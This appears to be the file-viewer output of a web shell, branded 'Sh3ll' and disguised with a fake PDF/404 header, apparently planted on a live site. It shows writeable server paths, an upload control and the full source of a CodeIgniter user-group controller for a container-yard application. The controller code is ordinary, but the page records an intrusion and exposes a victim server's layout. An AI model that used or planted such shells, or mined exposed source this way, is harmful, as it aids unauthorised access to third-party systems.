%PDF-1.4 404 Not Found
Sh3ll



Directory :  /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Current File : /var/www/vhosts/lautnusantara.com/httpdocs/mis/app/Controllers/Users_group.php
<?php 

namespace App\Controllers;
use CodeIgniter\Controller;


// use App\Models\History_model;
use App\Models\User_Group_Model;

class Users_group extends BaseController
{
    protected $History;
    protected $session;
	protected $User_Group_Model;

	public function __construct(){
		// $this->History =  new History_model();
		$this->User_Group_Model =  new User_Group_Model();
        $this->session = session();
	}
	
	public function index()
	{
	    $user_id 	= session()->get('user_id');
        $username 	= session()->get('username');
        $firstname 	= session()->get('firstname');
        $lastname 	= session()->get('lastname');

        // $this->History->save([
        //     'user_id' 	=> $user_id,
        //     'username' 	=> $username,
        //     'name' 		=> $firstname.' '.$lastname,
        //     'kegiatan' 	=> 'Dashboard',
        //     'jenis_kegiatan' 	=> 'Login/Dashboard',
        //     'tanggal_waktu' 	=> date('Y-m-d H:i:s')
        // ]);
        
        // $this->data_dashboard = new DashboardModel();
        
		$data = array(
			'title'         	=> 'CYS - Container Yard System',
            'description'   	=> 'Aplikasi CYS - Manajemen Depot Container System',
            'keywords'      	=> 'CYS,PUM,Depot, Container',
            'author'        	=> 'BBN',
            'parent_id_menu' => '18',
            'parent_id_submenu' => '19',
            'id_menu' => '20',
            'page1'         	=> 'User Group List',
			'page2'				=> '',
            'link01'        	=> base_url().'/users_group',
			'data_user_groups'	=> $this->User_Group_Model->get_user_groups()->getResultArray(),
			
            'componen'      => 'theme/BeyondAdmin/halaman/master_data/users_group/users_group'
        );
		echo view('layout',$data);
	}


    // public function addx()
    // {
    //     $user_id    = session()->get('user_id');
    //     $username   = session()->get('username');
    //     $firstname  = session()->get('firstname');
    //     $lastname   = session()->get('lastname');

    //     // $this->History->save([
    //     //     'user_id'    => $user_id,
    //     //     'username'   => $username,
    //     //     'name'       => $firstname.' '.$lastname,
    //     //     'kegiatan'   => 'Dashboard',
    //     //     'jenis_kegiatan'     => 'Login/Dashboard',
    //     //     'tanggal_waktu'  => date('Y-m-d H:i:s')
    //     // ]);
        
    //     // $this->data_dashboard = new DashboardModel();
        
    //     $data = array(
    //         'title'         => 'CYS - Container Yard System',
    //         'description'   => 'Aplikasi CYS - Manajemen Depot Container System',
    //         'keywords'      => 'CYS,PUM,Depot, Container',
    //         'author'        => 'BBN',
	// 		'parent_id_menu'=> '2',
	// 		'id_menu'		=> '3',
    //         'page1'         => 'Add Users Group',
    //         'page2'         => '',
    //         'link01'        => base_url().'/users/add',
    //         // 'data_member'    => $this->data_dashboard->getjmlMember(),
    //         // 'data_customer'  => $this->data_dashboard->getjmlCustomer(),
    //         // 'data_order'     => $this->data_dashboard->getjmlOrder(),
    //         // 'data_jual'      => $this->data_dashboard->getjmlJual(),
    //         // 'popular_product'   => $this->data_dashboard->popular_product(),
    //         // 'invoice_terbaru'   => $this->data_dashboard->invoice_terbaru(),
    //         'componen'      => 'theme/BeyondAdmin/halaman/master_data/users_group/add_users_group'
    //     );
    //     echo view('layout',$data);
    // }

	
	public function add()
    {
        $user_id    = session()->get('user_id');
        $username   = session()->get('username');
        $firstname  = session()->get('firstname');
        $lastname   = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);
        
        // $this->data_dashboard = new DashboardModel();
		
		
        
        $data = array(
            'title'         => 'CYS - Container Yard System',
            'description'   => 'Aplikasi CYS - Manajemen Depot Container System',
            'keywords'      => 'CYS,PUM,Depot, Container',
            'author'        => 'BBN',
            'parent_id_menu' => '18',
            'parent_id_submenu' => '19',
            'id_menu' => '20',
            'page1'         	=> 'User Group List',
			'page2'			=> 'Users Group',
            'link01'        => base_url().'/users_group/add',
            'link02'        => base_url().'/users_group',
			'name'			=> old('name'),
			'description'	=> old('description'),
			'active'		=> 0,
			'id'			=> 0,
			'status'		=> 'add',
			'url_form'		=> base_url('users_group/save'),
            
            'componen'      => 'theme/BeyondAdmin/halaman/master_data/users_group/add_users_group'
        );
        echo view('layout',$data);
    }
	
	public function edit($id)
    {
        $user_id    = session()->get('user_id');
        $username   = session()->get('username');
        $firstname  = session()->get('firstname');
        $lastname   = session()->get('lastname');

        // $this->History->save([
        //     'user_id'    => $user_id,
        //     'username'   => $username,
        //     'name'       => $firstname.' '.$lastname,
        //     'kegiatan'   => 'Dashboard',
        //     'jenis_kegiatan'     => 'Login/Dashboard',
        //     'tanggal_waktu'  => date('Y-m-d H:i:s')
        // ]);
        
        // $this->data_dashboard = new DashboardModel();
		$dt_users_group	= $this->User_Group_Model->get_detail_user_groups($id)->getResult();
        
        $data = array(
            'title'         => 'CYS - Container Yard System',
            'description'   => 'Aplikasi CYS - Manajemen Depot Container System',
            'keywords'      => 'CYS,PUM,Depot, Container',
            'author'        => 'BBN',
            'parent_id_menu' => '18',
            'parent_id_submenu' => '19',
            'id_menu' => '20',
            'page1'         => 'Edit Users Group',
			'page2'			=> 'Users Group',
            'link01'        => base_url().'/users_group/edit',
            'link02'        => base_url().'/users_group',
			'name'			=> $dt_users_group[0]->name,
			'description'	=> $dt_users_group[0]->description,
			'active'		=> $dt_users_group[0]->active,
			'id'			=> $dt_users_group[0]->id,
			'status'		=> 'edit',
			'url_form'		=> base_url('users_group/update'),
           
            'componen'      => 'theme/BeyondAdmin/halaman/master_data/users_group/add_users_group'
        );
        echo view('layout',$data);
    }
	
	// public function level($id)
    // {
    //     $user_id    = session()->get('user_id');
    //     $username   = session()->get('username');
    //     $firstname  = session()->get('firstname');
    //     $lastname   = session()->get('lastname');

    //     // $this->History->save([
    //     //     'user_id'    => $user_id,
    //     //     'username'   => $username,
    //     //     'name'       => $firstname.' '.$lastname,
    //     //     'kegiatan'   => 'Dashboard',
    //     //     'jenis_kegiatan'     => 'Login/Dashboard',
    //     //     'tanggal_waktu'  => date('Y-m-d H:i:s')
    //     // ]);
        
    //     // $this->data_dashboard = new DashboardModel();
		
        
    //     $data = array(
    //         'title'         => 'CYS - Container Yard System',
    //         'description'   => 'Aplikasi CYS - Manajemen Depot Container System',
    //         'keywords'      => 'CYS,PUM,Depot, Container',
    //         'author'        => 'BBN',
	// 		'parent_id_menu'=> '2',
	// 		'id_menu'		=> '3',
    //         'page1'         => 'Edit Level Menu Group',
	// 		'page2'			=> 'Edit Menu Group',
    //         'link01'        => base_url().'/menu_group/level',
    //         'link02'        => base_url().'/menu_group/edit',
	// 		'status'		=> 'edit',
	// 		'url_form'		=> '',
	// 		'id_group'		=> $id,
	// 		'dt_usergroup_menu_map'	=> $this->User_Group_Model->get_usergroup_menu_map($id)->getResult(),
           
    //         'componen'      => 'theme/BeyondAdmin/halaman/master_data/users_group/add_users_group_level'
    //     );
    //     echo view('layout',$data);
    // }

	public function save()
    {
		if(!$this->validate([
			'name' => [
				'rules' => 'required|min_length[3]',
				'error' => [ 
						'required' => 'Nama User Group Harus diisi'
					]	
				]
		])) {
			session()->setFlashdata('error', $this->validator->listErrors());
			return redirect()->back()->withinput();
		} else {
			
			$active = 0;
			// $this->request->getVar('active');
			if(!is_null($this->request->getVar('active'))) {
				$active = 1;
			} 
			
			$data = array(
				'name'			=> $this->request->getVar('name'),
				'description'	=> $this->request->getVar('description'),
				'active'		=> $active,
			);
			
			$this->User_Group_Model->save_user_groups($data);
			
			return redirect()->to(base_url('users_group'));
		}
	}

	public function update()
    {
		if(!$this->validate([
			'name' => [
				'rules' => 'required|min_length[3]',
				'error' => [ 
						'required' => 'Nama User Group Harus diisi'
					]	
				]
		])) {
			session()->setFlashdata('error', $this->validator->listErrors());
			return redirect()->back()->withinput();
		} else {
			
			$active = 0;
			if(!is_null($this->request->getVar('active'))) {
				$active = 1;
			} 
			$id = $this->request->getVar('id');
			
			$data = array(
				'name'			=> $this->request->getVar('name'),
				'description'	=> $this->request->getVar('description'),
				'active'		=> $active,
			);
			
			$this->User_Group_Model->update_user_groups($data,$id);
			
			return redirect()->to(base_url('users_group'));
		}
	}
	
	public function delete($id)
    {
			$data = array(
				'trash'			=> 1,
			);
			
			$this->User_Group_Model->update_user_groups($data,$id);
			
			return redirect()->to(base_url('users_group'));
	}
	
	
	function simpan_active() {
		
		$id = $this->request->getVar('ids');
	  
	    $active = $this->request->getVar('cek');
	  
		$data = array(
				'active'	=> $active,
			);
		
			
		$this->User_Group_Model->update_user_groups($data,$id);
	  
		
    }
	
	function simpan_active_level() {
		
		$id = $this->request->getVar('ids');
	    $id_group = $this->request->getVar('id_group');
	    $menu_id = $this->request->getVar('menu_id');
		$active = $this->request->getVar('cek');
		
	    // --- Cek table cys_usergroup_menu_map ---
		$jml = $this->User_Group_Model->cek_usergroup_menu_map($id_group,$menu_id);
		
		
		if($jml>=1) {
			// return redirect()->to(base_url($jml));
			// if($active==0){
				// $id_group = null;
			// } else {
				// $id_group = $this->request->getVar('id_group');
			// }
			$data = array(
				'active'	=> $active,
			);
			$this->User_Group_Model->update_user_groups_level($data,$id);
			
		} else {
			// return redirect()->to(base_url());
			$data = array(
				'usergroup_id'	=> $id_group,
				'menu_id'		=> $menu_id,
				'active'		=> $active,
				'ubis_id'		=> '1',
			);
			
			$this->User_Group_Model->save_usergroups_menu_level($data);
			
		}
	  
		
    }



}
?>

WonXd677 Sh3LL